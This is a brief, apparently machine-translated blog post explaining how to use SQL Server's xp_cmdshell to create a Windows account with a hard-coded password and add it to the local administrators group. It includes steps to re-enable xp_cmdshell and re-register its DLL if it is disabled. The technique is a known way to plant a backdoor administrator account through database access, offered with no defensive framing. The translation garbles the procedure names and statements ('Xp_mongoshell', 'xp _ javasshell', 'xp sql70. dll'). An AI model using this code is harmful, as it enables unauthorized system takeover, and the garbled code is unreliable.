Use SQL server to add a system administrator account and an SQL System Administrator Account

Use SQL server to add a system administrator account and an SQL System Administrator Account

To add a system administrator account through SQL SERVER, you must have sufficient permissions to remotely connect to the database and execute the script as follows:

/* This code is run in the master database. Add the system administrator: mmcgzs password: 123qwe! @ # */Xp_mongoshell 'net user mmcgzs 123qwe! @ #/Add 'xp _ javasshell' net localgroup administrators mmcgzs/add'/* If the above is not good, use the following command to use the above */sp_configure 'show advanced options', 1reconfiguregosp_configure 'xp _ javasshell', 1 reconfigurego/* If the above is not good, use the following command to use the */sp_addextendedproc 'xp _ javasshell' and 'xp sql70. dll'

I hope the above information will be helpful to beginners. Thank you!
More follow Fu Yi Fang technology blog: http://blog.csdn.net/fuyifang
Or scan the QR code on your mobile phone to view more blog posts:

Copyright statement: This article is the original author of the blog, not allowed by the blog can not be reproduced, more attention to pay the technical blog: http://blog.csdn.net/fuyifang